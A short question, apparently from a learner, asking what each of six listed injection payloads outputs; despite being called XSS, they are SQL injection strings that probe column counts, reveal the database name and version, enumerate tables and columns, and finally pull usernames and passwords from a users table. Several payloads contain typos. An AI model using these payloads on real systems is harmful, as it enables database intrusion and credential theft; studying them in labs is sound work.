what does each Xss command output (give an answer for each one of them from 1-6)

1. 1 order by 1,2# 2. 1 union select 1,2# 3. 1 union select database(), version() \# 4. I' union select 1, table name from information schema.tables \# 5. I' union select 1 , column name from information schema.columns where table name=char (117,115,101,114,115)# 6. 1' union select, user, password from users \#